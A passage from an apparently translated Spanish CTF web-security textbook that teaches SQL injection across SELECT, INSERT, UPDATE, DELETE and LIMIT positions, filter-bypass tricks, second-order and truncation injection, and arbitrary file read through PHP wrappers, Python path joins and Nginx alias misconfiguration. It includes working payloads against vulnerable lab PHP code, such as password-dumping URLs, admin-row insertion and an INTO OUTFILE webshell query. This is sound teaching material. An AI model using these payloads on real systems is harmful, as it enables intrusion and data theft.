Puntos de Inyección. Esta sección discutirá las técnicas de inyección SQL a partir de la sintaxis de las declaraciones SQL en diferentes ubicaciones de puntos de inyección.
1.2.2.1 Inyección en SELECT. La declaración SELECT se utiliza para consultar registros de datos y a menudo se utiliza para mostrar una interfaz, como el contenido de noticias, etc. La sintaxis de la declaración SELECT es la siguiente.
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr[, select_expr . . .] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], . . . [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], . . .] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'nombre_archivo' [CHARACTER SET nombre_charset] opciones_exportación | INTO DUMPFILE 'nombre_archivo' | INTO nombre_var[, nombre_var]] [FOR UPDATE | LOCK IN SHARE MODE]].
Punto de inyección en select_expr. El código fuente se muestra en sqln1.php.
sqln1.php <?php $conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";"
En esta situación, puedes emplear el método de inyección de tipo ciego por tiempo de la Sección 1.2.1.2 para obtener datos sensibles. Sin embargo, según la sintaxis de MySQL, tenemos una forma mejor de mostrar los resultados de la consulta directamente en la interfaz utilizando la palabra clave AS para alias. Accede al enlace http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title, como se muestra en la Figura 1.46.
Punto de inyección en table_reference. Sustituye la declaración de consulta SQL anterior por la siguiente.
$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");
Todavía podemos recuperar los datos directamente utilizando alias, como SELECT title FROM (SELECT pwd AS title FROM wp_user)x.
Por supuesto, si no conoces el nombre exacto de la tabla, puedes obtener los nombres de las tablas de la tabla information_schema.tables primero.
Para los puntos de inyección en select_expr y table_reference, las comillas deben cerrarse primero si la entrada del usuario está envuelta en comillas. Los lectores pueden probar las declaraciones específicas localmente.
El punto de inyección es después de WHERE o HAVING. La declaración de consulta SQL es la siguiente.
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET['id']}");
Esta situación ya ha sido discutida en la Sección 1.2.1, Conceptos básicos de inyección, y es la situación más común en las aplicaciones del mundo real. La situación es similar para el punto de inyección después de HAVING.
El punto de inyección es después de GROUP BY u ORDER BY. Cuando te encuentres con un punto de inyección que no esté después de WHERE, pruébalo en tu entorno local de MySQL para ver qué puedes agregar después de la declaración para determinar dónde está el punto de inyección, y luego haz la inyección en consecuencia. Supongamos el siguiente código.
$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title']}");
Después de probar, se descubrió que title¼id desc, (if(1, sleep(1), 1)) provoca un retraso de 1 segundo en la respuesta, por lo que puedes utilizar el método de inyección por tiempo para obtener datos sensibles.
Los casos de esta sección siguen siendo comunes incluso después de que la mayoría de los desarrolladores se han vuelto conscientes de la seguridad. Esto se debe principalmente a que los desarrolladores no pueden usar métodos precompilados para manejar tales parámetros al escribir marcos de sistemas. Es posible defenderse contra estas inyecciones simplemente listando los valores de entrada permitidos.
El punto de inyección es después de LIMIT. Al cambiar el número de límite, la página mostrará más o menos registros. Debido a las limitaciones de sintaxis, el método de inyección de caracteres anterior no es adecuado (solo se pueden inyectar números después de LIMIT). Alternativamente, podemos intentar la inyección utilizando la palabra clave PROCEDURE basada en la sintaxis de SELECT, que solo está disponible en versiones de MySQL anteriores a 5.6, como se muestra en la Figura 1.47.
También es posible inyectar basándose en el tiempo, como sigue.
PROCEDURE analyse((SELECT extractvalue(1, concat(0x3a, (IF(MID(VERSION(), 1, 1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1).
El tiempo de procesamiento de la declaración BENCHMARK es de aproximadamente 1 segundo. También podemos usar la palabra clave INTO OUTFILE para escribir un webshell en el directorio web en ciertas circunstancias en las que tengamos permisos de escritura. La consulta es SELECT xx INTO outfile "/tmp/xxx.php" LINES TERMINATED BY '<?php phpinfo();?>', como se muestra en la Figura 1.48."
Inyección en la Declaración INSERT. La declaración INSERT es un tipo que inserta registros en una tabla y generalmente se utiliza en el diseño web donde se agregan noticias, los usuarios se registran y hacen comentarios en los artículos, etc. La sintaxis de la declaración INSERT es la siguiente.
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [PARTITION (partition_name [, partition_name] ...)] [(col_name [, col_name] ...)] {VALUES | VALUE} (value_list) [, (value_list)] ...
[ON DUPLICATE KEY UPDATE assignment_list] INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [PARTITION (partition_name [, partition_name] ...)] SET assignment_list [ON DUPLICATE KEY UPDATE assignment_list] INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [PARTITION (partition_name [, partition_name] ...)] [(col_name [, col_name] ...)] SELECT [ON DUPLICATE KEY UPDATE assignment_list]
Por lo general, el punto de inyección se encuentra en el nombre del campo o en el valor del campo, y no hay mensaje de respuesta después de la ejecución de la declaración INSERT.
El punto de inyección se encuentra en tbl_name. Si puedes comentar las declaraciones posteriores con un carácter de anotación, puedes insertar datos específicos directamente en la tabla deseada, como la tabla de administradores. Por ejemplo, para la siguiente declaración SQL.
$res = mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES (2,2,2,2)");
El desarrollador espera controlar el valor de la tabla como wp_news para insertar registros en la tabla de noticias. Dado que podemos controlar el nombre de la tabla, podemos acceder a http:// 192.168.20.132/insert.php?table=wp_user values(2,‘newadmin’,‘newpass’)%23 y ver la Figura 1.49 para la tabla wp_user antes y después de acceder al contenido. Se insertó un nuevo registro de administrador en la tabla.
El punto de inyección se encuentra en VALUES. Supongamos la siguiente declaración SQL. INSERT INTO wp_user VALUES(1, 1, 'ubicación controlable');"
Puedes cerrar la comilla simple e insertar otro registro. Por lo general, el administrador y el usuario regular están en la misma tabla.
La declaración de inyección es la siguiente.
INSERT INTO wp_user VALUES(1, 0, '1'), (2, 1, 'aaaa');
Se puede insertar un usuario administrador si el segundo campo de la tabla de usuarios representa la bandera de privilegio de administrador. En algunos casos, también podemos insertar datos en un campo que se puede mostrar al usuario para obtener los datos rápidamente. Suponiendo que los datos del último campo se mostrarán en la página, la contraseña del primer usuario se puede inyectar utilizando la siguiente declaración.
INSERT INTO wp_user VALUES(1, 1, '1'), (2, 2, (SELECT pwd FROM wp_user LIMIT 1));
1.2.2.3 Inyección en UPDATE. La declaración UPDATE se utiliza para actualizar registros en la base de datos, como cuando los usuarios modifican sus artículos, información personal, etc. La sintaxis de la declaración UPDATE es la siguiente.
UPDATE [LOW_PRIORITY] [IGNORE] table_reference SET assignment_list [WHERE where_condition] [ORDER BY ...] [LIMIT row_count]
valor:
{expr | DEFAULT}
asignación: col_name = value
lista_de_asignaciones: asignación [, asignación] ...
Por ejemplo, tomemos un caso en el que el punto de inyección está después de SET. Una declaración de actualización normal se muestra en la Figura 1.50, y puedes ver que los datos de id en la línea 2 de la tabla original wp_user han sido modificados.
Cuando los datos de id son controlables, es posible modificar varios campos de datos, como sigue: UPDATE wp_user SET id=3, user='xxx' WHERE user = '23';
Los métodos para explotar el resto de los puntos de inyección son similares a los métodos de inyección de declaraciones SELECT.
Inyección DELETE. La mayoría de las inyecciones DELETE ocurren después de la palabra clave WHERE. Supongamos que la declaración SQL es la siguiente.
$res = mysqli_query($conn, "DELETE FROM wp_news WHERE id = {$_GET['id']}");
El propósito de la declaración DELETE es eliminar todos los datos de una tabla o las filas especificadas. Inyectar el parámetro id hará que la condición después de WHERE sea verdadera, lo que resultará en la eliminación de todos los datos de wp_news, como se muestra en la Figura 1.51
Para asegurarse de que no haya interferencia con los datos normales, es común utilizar el método 'and sleep(1)' para asegurarse de que la condición de WHERE sea falsa, evitando que la declaración se ejecute correctamente, como se muestra en la Figura 1.52.
Inyección y Defensa. Esta sección cubrirá defensas comunes y varias formas de eludirlas, centrándose en proporcionar a los lectores ideas para eludirlas.
Sustitución de Caracteres. Para defenderse contra la inyección SQL, algunos desarrolladores simplemente reemplazan o bloquean solicitudes con palabras clave como SELECT y FROM
Filtrar espacios. Además de los espacios, se pueden sustituir %0a, %0b, %0c, %0d, %09, %a0 (todos codificados en URL, %a0 solo está disponible en ciertos conjuntos de caracteres) y combinaciones /**/, paréntesis, etc. por espacios en el código. Supongamos que el código fuente PHP es el siguiente.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$id = $_GET['id'];
echo "antes de reemplazar id: $id";
$id = str_replace(" ", "", $id); // Eliminar espacios
echo "después de reemplazar id: $id";
$sql = "SELECT title, content FROM wp_news WHERE id=" . $id;
$res = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>". $row['title']." </h1>";
echo "<br>";
echo "<h1>". $row['content']." </h1>";
echo "</center>";
?>
La consulta SQL falla utilizando la carga útil anterior (ver Figura 1.53) porque el espacio se elimina y el título no se muestra en la página. Reemplaza el espacio en la carga útil con "%09". El resultado se puede ver en la Figura 1.54.
Filtrar SELECT. En el caso de reemplazar SELECT con nulo, puedes usar una forma anidada, como SESELECTLECT, que es filtrada y luego se cambia nuevamente a SELECT.
$id = str_replace(" ", "", $id);
Reemplazar con
$id = str_replace("SELECT", "", $id);
Visita http://192.168.20.132/replace.php?id=-1%09union%09selselectect%091,2 y observa la Figura 1.55 para ver los resultados."
Coincidencia de mayúsculas y minúsculas. En MySQL, las palabras clave no distinguen entre mayúsculas y minúsculas, por lo que si solo se encuentra la palabra "SELECT", se puede evadir fácilmente utilizando mayúsculas y minúsculas mixtas, como "sEleCT".
Coincidencia regular. La palabra clave de coincidencia regular "\bselect\b" se puede evadir utilizando algo como "/ !50000select/", como se muestra en la Figura 1.56.
Comillas simples o dobles reemplazadas, olvidaste la barra diagonal invertida. Cuando se encuentran los siguientes puntos de inyección.
$sql = "SELECT * FROM wp_news WHERE id = 'controlable 1' AND title = 'controlable 2'"
Las siguientes declaraciones se pueden construir para evadir el filtro.
$sql = "SELECT * FROM wp_news WHERE id = 'a' AND title = 'OR sleep(1)#'"
La barra diagonal invertida del primer punto controlable escapa la comilla simple predefinida por el punto controlable 1, lo que hace que el punto controlable 2 escape la comilla simple, como se muestra en la Figura 1.57.
Como se puede ver, sleep() se ejecutó correctamente, lo que indica que el Punto Controlado 2 ha escapado con éxito de las comillas. Se puede obtener información sensible mediante la inyección UNION, como se muestra en la Figura 1.58."
Escape de comillas. El punto crítico para la inyección SQL es el escape de comillas, y a menudo los desarrolladores utilizan la función "addslashes" para la entrada del usuario a nivel global, es decir, agregar barras invertidas a caracteres como comillas simples, barras invertidas, etc., como cambiar "'" a "'". En este caso, la inyección SQL puede no parecer existir, pero aún puede romperse bajo ciertas condiciones.
Codificación y Decodificación. Los desarrolladores a menudo utilizan funciones de decodificación como urldecode, base64_decode o funciones de encriptación/desencriptación personalizadas. Cuando el usuario ingresa la función addslashes, los datos se codifican y las comillas no pueden ser escapadas, y si la entrada se combina directamente con la declaración SQL después de la decodificación, puede producirse una inyección SQL. La inyección de bytes amplios es un caso clásico de inyección causada por la conversión de conjunto de caracteres. Los lectores interesados pueden consultar los documentos relevantes para obtener más información.
Puntos de entrada inesperados. Por ejemplo, en PHP, el desarrollador generalmente olvida variables como el nombre del archivo cargado, el encabezado HTTP y $_SERVER['PHP_SELF']. Por lo tanto, no hay filtros para estas variables, lo que lleva a inyecciones.
Inyección secundaria. La causa raíz de la inyección secundaria es que el desarrollador confía en que los datos obtenidos de la base de datos son inofensivos. Supongamos que la tabla de datos actual se muestra en la Figura 1.59 y el nombre de usuario 'admin'or'1' ingresado por el usuario se escapa como 'admin'or'1', por lo que la declaración SQL es.
INSERT INTO wp_user VALUES(2, 'admin'or'1', 'alguna_contraseña');"
En este punto, dado que las comillas están escapadas y no se genera ninguna inyección, los datos se almacenan normalmente, como se muestra en la Figura 1.60.
Sin embargo, cuando se utiliza este nombre de usuario nuevamente (generalmente para la información de sesión), se muestra el siguiente código.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT username FROM wp_user WHERE id=2");
$row = mysqli_fetch_array($res);
$name = $row["username"];
$res = mysqli_query($conn, "SELECT password FROM wp_user WHERE username='$name'");
?>
Cuando el nombre se combina en la declaración SQL, se convierte en la siguiente declaración SQL para generar una inyección SQL.
SELECT password FROM wp_user WHERE username = 'admin' or'1';
Truncación de cadenas. En posiciones de encabezado, título, etc., los desarrolladores pueden limitar los encabezados a no más de 10 caracteres, más allá de los cuales se truncarán. Por ejemplo, el código PHP es el siguiente.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$title = addslashes($_GET['title']);
$title = substr($title1, 0, 10);
echo "<center>$title</center>";
$content = addslashes($_GET['content']);
$sql = "INSERT INTO wp_news VALUES(2, '$title', '$content')";
$res = mysqli_query($conn, $sql);
?>
Supongamos que un atacante ingresa 'aaaaaaaaa'', que se convierte automáticamente en 'aaaaaaaaa'' debido a la limitación de longitud de caracteres, lo que escapa las comillas simples anteriores para que puedan ser inyectadas en el lugar del contenido. Vamos a usar el método de inyección en los VALORES e ir a http://192.168.20.132/insert2.php?title=aaaaaaaaa'&content=,1,1),(3,4, (select%20pwd%20from%20wp_user%20limit%201),1)%23, podrás ver que se han agregado dos filas a la tabla de datos wp_news, como se muestra en la Figura 1.61.
1.2.4 Impactos de la Inyección. Hemos cubierto los conceptos básicos de la inyección SQL y las formas de eludirla, ¿cuáles son los impactos de la inyección? A continuación, se resume la experiencia del autor en el campo.
• Si tienes permisos de escritura, puedes usar INTO OUTFILE o DUMPFILE para escribir directamente en un directorio web o escribir en un archivo y luego combinarlo con un archivo que incluya vulnerabilidades para lograr la ejecución de código, como se muestra en la Figura 1.62.
Usa la función load_file() para leer el código fuente y la información de configuración con permisos de lectura de archivos para acceder a datos sensibles.
• Elevar privilegios, obtener usuarios de mayor nivel o privilegios de administrador, evitar inicios de sesión, agregar usuarios, ajustar permisos de usuario, etc., para tener más funcionalidad de administración en el sitio web objetivo.
Controlar el contenido de archivos como plantillas, cachés, etc., para obtener permisos o eliminar o leer archivos críticos específicos mediante la inyección de datos de consultas a la base de datos.
Controlar toda la base de datos, incluidos datos arbitrarios, longitudes de campos arbitrarios, etc., cuando se pueden ejecutar múltiples declaraciones.
• Se pueden ejecutar comandos del sistema directamente en una base de datos como SQL Server.
1.2.5 Resumen de la Inyección SQL. Esta sección solo presenta algunos de los puntos más directos del CTF, mientras que la competencia real combinará muchas características y funciones. Los desafíos de inyección MySQL pueden utilizar una variedad de métodos de filtrado, y debido al servidor SQL en la implementación, incluso la misma función se puede implementar de diversas formas, y los desafíos incluirán características que no se utilizan comúnmente. Luego, para resolver los desafíos o comprender mejor los principios de la inyección SQL, es crucial buscar información relevante según los diferentes tipos de servidores SQL, descubrir qué métodos de fuzzing filtran caracteres, funciones, palabras clave, etc., buscar alternativas en el documento que tengan la misma función pero no contengan palabras clave de filtrado, y finalmente eludir las defensas relevantes.
Algunas plataformas como sqli-labs (https://github.com/Audi-1/sqli-labs) ofrecen desafíos de inyección con diferentes niveles de filtrado, abarcando la mayoría de los puntos del desafío. Practicando y resumiendo, siempre podemos encontrar las combinaciones necesarias para resolver los desafíos en la competencia.
Vulnerabilidad de Lectura de Archivos Arbitrarios. La llamada vulnerabilidad de lectura de archivos significa que el atacante puede leer el archivo en el servidor que el desarrollador no permite que el atacante lea a través de algún medio.
Desde la perspectiva de todo el proceso de ataque, a menudo se utiliza como un método suplementario poderoso para la recopilación de información de activos, diversos archivos de configuración del servidor, claves almacenadas en forma de archivos, información del servidor (incluida la información sobre los procesos que se están ejecutando), comandos históricos e información de red, código fuente de aplicaciones y programas binarios son espiados por los atacantes en el punto de activación de esta vulnerabilidad.
Las vulnerabilidades de lectura de archivos a menudo significan que el servidor del atacante está a punto de ser completamente controlado por el atacante. Por supuesto, si el servidor se implementa estrictamente según las especificaciones estándar de seguridad, incluso si existen vulnerabilidades de lectura de archivos explotables en la aplicación, es difícil que un atacante obtenga información valiosa. Las vulnerabilidades de lectura de archivos existen en casi todos los lenguajes de programación en los que se pueden implementar aplicaciones web. Por supuesto, la "existencia" aquí no es esencialmente un problema del propio lenguaje, sino una omisión causada por la insuficiente consideración del desarrollador de situaciones inesperadas durante el desarrollo.
En términos generales, los desarrolladores de frameworks o middleware de aplicaciones web están muy preocupados por la
reutilización del código, por lo que la definición de algunas interfaces API es muy abierta para dar la máxima libertad posible a los desarrolladores secundarios. En situaciones reales, muchos desarrolladores confían demasiado en el mecanismo de seguridad implementado por el framework de aplicación web o la capa de middleware durante el desarrollo secundario, y confían imprudentemente en el mecanismo de seguridad del framework de aplicación y middleware sin una comprensión cuidadosa del mecanismo de seguridad. Se utiliza documentación simple de API para el
desarrollo. Desafortunadamente, los desarrolladores de frameworks o middleware de aplicaciones web pueden no indicar los principios de implementación específicos de las funciones de API, el rango de parámetros aceptables y problemas de seguridad predecibles en la documentación.
La base de código reconocida por la industria generalmente se llama "wheels" (ruedas), y los programas pueden reducir significativamente el trabajo repetitivo utilizando estas "ruedas". Si hay vulnerabilidades en la "rueda", el código de la "rueda" se reutilizará repetidamente por los
programadores múltiples veces al mismo tiempo, y las vulnerabilidades también se transmitirán de nivel en nivel. Con la constante referencia al código de la "rueda" subyacente, los riesgos de seguridad en el código de la "rueda" son casi invisibles para los desarrolladores en la parte superior de la "cadena de llamadas".
También es un desafío importante para el personal de seguridad rastrear pacientemente la cadena de llamadas hacia atrás hasta su causa raíz a medida que profundizan en las vulnerabilidades del framework de aplicaciones web
Además, existe una vulnerabilidad de lectura de archivos arbitrarios que los desarrolladores no pueden controlar a través del código. La vulnerabilidad en esta situación a menudo se debe a problemas del servidor web o a una configuración de servidor insegura. El mecanismo principal de operación del servidor web es leer archivos de código o recursos del servidor y luego transferir los archivos de código al intérprete o programa CGI para su ejecución, y luego enviar los resultados de ejecución y los archivos de recursos al usuario cliente. Los archivos que existen en él son propensos a
ser intervenidos por atacantes, lo que resulta en una lectura no intencionada de archivos y en el uso incorrecto de archivos de código como archivos de recursos.
1.3.1 Puntos Comunes de Disparo para Vulnerabilidades de Lectura de Archivos. 1.3.1.1 Lenguajes de Aplicaciones Web. Diferentes lenguajes web tienen diferentes puntos de activación para las vulnerabilidades de lectura de archivos.
Esta sección toma diferentes vulnerabilidades de lectura de archivos web como ejemplos para presentar los escenarios de vulnerabilidad específicos
PHP. La parte sobre la lectura de archivos en las funciones estándar de PHP no se introducirá en detalle. Estas funciones incluyen, pero no se limitan a: f i le_get_ contents(), f i le(), funciones fopen() (y funciones de manipulación de punteros de archivo fread(), fgets(), etc.), funciones relacionadas con la inclusión de archivos (include(), require(), include_once(), require_once(), etc.) y ejecutar comandos del sistema para leer archivos a través de PHP (system(), exec(), etc.). Estas funciones son muy comunes en aplicaciones PHP, por lo que durante todo el proceso de auditoría de código PHP, los auditores se centrarán en estas funciones
Algunos lectores podrían tener preguntas. ¿Por qué los desarrolladores pasan datos de entrada dinámicamente a estas funciones tan peligrosas como parámetros? Esto se debe a que la tecnología de desarrollo de PHP en la actualidad tiende cada vez más hacia un modo de entrada única, multidimensional y
multicanal, lo que implica llamadas intensivas y frecuentes entre archivos PHP.
Para escribir funciones de archivo con alta reutilización, el desarrollador necesita pasar cierta información dinámica (como la parte dinámica del nombre del archivo) a esas funciones (ver Figura 1.63). Si no se utilizan declaraciones de bifurcación como switch para controlar los datos de entrada dinámicos en la entrada del programa, es fácil que un atacante inyecte rutas maliciosas, logrando así la lectura arbitraria de archivos o incluso la inclusión arbitraria de archivos.
Además de las funciones de la biblioteca estándar mencionadas anteriormente, muchas extensiones comunes de PHP también proporcionan funciones que pueden leer archivos. Por ejemplo, la extensión php-curl, módulos de PHP que involucran operaciones de acceso a bases de datos (extensiones relacionadas con bases de datos, extensiones relacionadas con imágenes), módulo XML que podría llevar a XXE, etc. No hay muchos desafíos CTF que utilicen funciones de bibliotecas externas para leer archivos arbitrarios. Los capítulos siguientes analizarán los desafíos involucrados con ejemplos.
A diferencia de otros lenguajes, PHP permite a los usuarios especificar que el archivo abierto no es una simple ruta sino un flujo de archivos. Podemos entenderlo como un conjunto de protocolos proporcionados por PHP.
Por ejemplo, después de ingresar http://host:port/xxx en el navegador, puedes solicitar el archivo correspondiente en el servidor remoto a través de HTTP. En PHP, hay muchos protocolos con diferentes funciones pero formas similares, que se llaman colectivamente "Wrapper".
El protocolo más típico es el protocolo php://. Más interesante aún es que PHP proporciona una interfaz para que los desarrolladores escriban envoltorios personalizados (stream_wrapper_register).
Además de Wrapper, otro mecanismo único en PHP es el Filtro, cuya función es realizar un procesamiento específico en el envoltorio actual (como cambiar el contenido del flujo de archivos actual a mayúsculas).
Para los envoltorios personalizados, Filter requiere que los desarrolladores se registren a través de stream_filter_register. Además, algunos envoltorios incorporados en PHP vendrán con filtros, como el protocolo php://. Hay filtros del tipo que se muestra en la Figura 1.64.
La función Filter de PHP nos brinda muchas comodidades para leer archivos arbitrarios.
Supongamos que el parámetro de ruta de la función include en el lado del servidor es controlable; por lo general, analizará el archivo objetivo como un archivo PHP. Si el archivo analizado contiene etiquetas PHP como "<?php", el contenido dentro de la etiqueta se ejecutará como código PHP.
Si pasamos directamente el nombre de archivo de este archivo que contiene código PHP a la función include, el código PHP no se filtrará en forma de texto visible porque se ejecuta como código PHP. Sin embargo, esto se puede evitar utilizando el Filtro en este momento.
Por ejemplo, el Filtro relacionado con Base64 puede codificar el flujo de archivo en la forma de Base64 para que no haya etiquetas PHP en el contenido del archivo leído. Más grave aún es que si la opción de inclusión remota de archivos allow_url_include está habilitada en el servidor, podemos ejecutar directamente código PHP remoto.
Por supuesto, estos Wrapper y Filter que PHP carga por defecto se pueden deshabilitar a través del archivo php.ini. Se recomienda leer el código fuente de PHP sobre Wrapper y Filter para comprender mejor el contenido relevante.
En los problemas del mundo real que enfrentamos con la inclusión de archivos PHP, podemos encontrarnos con tres situaciones: La ruta del archivo es controlable en el frente y no controlable en la parte posterior; La ruta del archivo es controlable en la parte posterior y no controlable en el frente; La ruta del archivo es controlable en el medio.
En el primer caso, puedes usar "\x00" para la truncación en versiones más antiguas de PHP y contenedores, y la codificación URL correspondiente es “%00”. Cuando hay una función de carga de archivos en el servidor, también puedes usar el protocolo zip:// o phar:// para incluir directamente el archivo y ejecutar el código PHP.
En el segundo caso, podemos usar la combinación de símbolos "../" para la navegación de directorios y leer directamente el archivo, pero en este caso, no se puede usar Wrapper. Si el servidor usa la función include u otras funciones para la inclusión de archivos, no podremos leer el código PHP en el archivo.
El tercer caso es similar al primer caso, pero no se puede usar Wrapper para la inclusión de archivos.
En Python, a diferencia de PHP, las aplicaciones web tienden a iniciar sus servicios a través de sus módulos y luego presentan toda la aplicación web al usuario con servicios intermedios y de proxy. La interacción entre el usuario y la aplicación web en sí incluye solicitudes de archivos de recursos del servidor, lo que facilita la lectura inesperada de archivos.
Como resultado, vemos muchas vulnerabilidades de lectura arbitraria de archivos en marcos de Python debido a la falta de un estándar unificado para la interacción de archivos de recursos. Las vulnerabilidades se encuentran a menudo en la sección del marco que solicita un archivo de recurso estático, es decir, la función open que lee el contenido del archivo al final, pero a menudo son causadas por desarrolladores de marcos que ignoran las características de las funciones de Python, como os.path.join().
Muchos desarrolladores determinan que la ruta pasada por el usuario no contiene un punto (“.”) para asegurarse de que el usuario no atraviese el directorio al leer recursos, y luego sustituyen los datos de entrada del usuario en el segundo parámetro de os.path.join, pero si el usuario pasa "/", aún es posible atravesar hasta el directorio raíz, lo que causará la lectura de cualquier archivo.
Además de los problemas en el marco de Python, muchas aplicaciones que involucran operaciones de archivos también pueden causar lectura arbitraria de archivos debido al uso indebido de la función open y la representación incorrecta de plantillas. Por ejemplo, algunos datos ingresados por el usuario se almacenan en el servidor como
parte del nombre de archivo (comúnmente utilizado en servicios de autenticación o servicios de registro), y los datos de entrada del usuario procesados también se utilizan como índice para buscar archivos relacionados en la parte de obtención del contenido del archivo. Esto le da al atacante una manera de realizar la navegación de directorios.
En competencias en línea de CTF, los desarrolladores de Python pueden llamar a un módulo de descompresión inseguro para descomprimir archivos comprimidos, lo que puede llevar a la navegación de directorios después de que los archivos sean descomprimidos. Por supuesto, el peligro de la navegación de directorios al descomprimir archivos es sobrescribir archivos existentes en el servidor.
Otra situación es cuando el atacante construye un enlace simbólico y lo coloca en el paquete comprimido. El contenido descomprimido apuntará directamente al archivo correspondiente en el servidor.
Cuando el atacante accede al archivo de enlace descomprimido, el enlace devolverá el contenido correspondiente del archivo. Esto se analizará en detalle en los capítulos siguientes. Al igual que en PHP, algunos módulos de Python pueden leer archivos con XXE.
Además, las vulnerabilidades de inyección de plantillas y deserialización en Python también pueden causar lectura arbitraria de archivos en cierta medida. Por supuesto, el daño más significativo sigue siendo la ejecución arbitraria de comandos.
Java: Además de la lectura de archivos causada por la función FileInputStream o los resultados XXE, algunos módulos de Java también admiten el protocolo “file://”, que es donde se lee cualquier archivo en aplicaciones Java. Ejemplos de esto son la vulnerabilidad de lectura arbitraria de archivos en Spring Cloud Config Server (CVE-2019-3799), la vulnerabilidad de lectura arbitraria de archivos en Jenkins (CVE-2018-1999002), entre otros.
Ruby: Las vulnerabilidades de lectura arbitraria de archivos en Ruby suelen estar asociadas con el marco Ruby on Rails en competencias CTF en línea. Algunas vulnerabilidades conocidas son la Ejecución Remota de Código en Ruby on Rails (CVE-2016-0752), Travesía de Directorio y Lectura de Archivos Arbitraria en Ruby on Rails (CVE-2018-3760), y Travesía de Directorio y Lectura de Archivos Arbitraria en Ruby on Rails (CVE-2019-5418).
Node: Hasta el momento, se sabe que el módulo express de Node.js tiene una vulnerabilidad de lectura arbitraria de archivos (CVE-2017-14849), pero el autor no ha encontrado desafíos relevantes de CTF al respecto. Las vulnerabilidades de lectura de archivos en Node en CTF suelen estar relacionadas con la inyección de plantillas, la inyección de código, etc.
1.3.1.2 Middleware/Servidores Relacionados:
Diferentes middleware/servidores también pueden tener vulnerabilidades de lectura de archivos. Esta sección utiliza vulnerabilidades de lectura de archivos en diferentes middleware/servidores como ejemplos para introducir.
Nginx: Las vulnerabilidades de lectura de archivos en archivos de configuración causadas por malas configuraciones de Nginx se encuentran con frecuencia en competiciones CTF en línea, especialmente cuando se utilizan con aplicaciones web en Python. Esto se debe a que Nginx generalmente se considera la mejor implementación de proxy inverso para aplicaciones Python-Web. Sin embargo, su archivo de configuración puede causar problemas graves si se configura incorrectamente. Por ejemplo:
location /static { alias /home/myapp/static/;
}
Si el archivo de configuración contiene la opción de configuración mencionada anteriormente, es probable que el mantenimiento o los desarrolladores deseen que el usuario acceda al directorio estático (generalmente un directorio de recursos estáticos). Sin embargo, si la ruta web solicitada por el usuario es /static./, al concatenarla en el alias se convierte en /home/myapp/static/../, lo que resultará en una travesía de directorio, creando una vulnerabilidad de travesía de directorio que llega al directorio myapp. En este punto, un atacante puede descargar archivos de código fuente y archivos de bytecode de Python a voluntad. Nota: La vulnerabilidad se debe a la ausencia de la restricción "/" al final de la ubicación, lo que permite que Nginx
haga coincidir la ruta "static" y luego concatene el resto en un alias. /static.../, Nginx no lo considera una travesía entre directorios, sino que lo trata como un nombre completo de directorio.
Base de datos: Muchas bases de datos pueden realizar operaciones de lectura de archivos, por lo que tomemos MySQL como ejemplo. La función load_file() de MySQL puede leer un archivo, pero la lectura de un archivo con la función load_file() primero requiere una configuración de base de datos con permisos de ARCHIVO (que generalmente tiene el usuario raíz de la base de datos) y, en segundo lugar, requiere que el usuario/grupo de MySQL que ejecuta la función load_file() tenga permisos de lectura en el archivo objetivo (muchos de estos archivos de configuración son legibles por todos los grupos/usuarios), y los sistemas Linux principales también requieren que AppArmor configure una lista blanca de directorios (por defecto, la lista blanca se restringe a los directorios relacionados con MySQL), lo cual es "mucho trabajo".
A pesar de estas estrictas condiciones de explotación, a menudo nos encontramos con desafíos de lectura de archivos en competencias CTF en línea.
Existe otra forma de leer un archivo, pero a diferencia de la función de lectura de archivos load_file(), esto requiere ejecutar la declaración SQL completa, es decir, load data infile. Nuevamente, esto requiere privilegios de ARCHIVO, pero es raro, porque excepto en el caso particular de ataques SSRF en MySQL, hay muy pocos casos en los que se pueda ejecutar directamente la declaración SQL no básica completa.
Enlaces simbólicos: El comando bash ln -s
crea un archivo de enlace simbólico al archivo especificado y luego sube el archivo de enlace simbólico al servidor. Cuando solicitamos acceder nuevamente al archivo vinculado, solicitamos el archivo al que apunta en el servidor.
FFmpeg: En junio de 2017, se descubrió una vulnerabilidad de lectura arbitraria de archivos en FFmpeg. Se mostró un desafío en línea CTF en la competencia CISCN (ver https://www cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html para los writeups), que explotó esta vulnerabilidad.
Docker-API: La Docker-API puede controlar el comportamiento de Docker, generalmente comunicándose a través de sockets UNIX pero también comunicándose directamente a través de HTTP. Cuando nos encontramos con una vulnerabilidad SSRF, especialmente si podemos comunicarnos con sockets UNIX a través de la vulnerabilidad SSRF, podemos manipular la Docker-API para cargar archivos locales en un nuevo contenedor Docker para su lectura (utilizando las operaciones ADD y COPY de Docker).
Relacionados con el Cliente: También
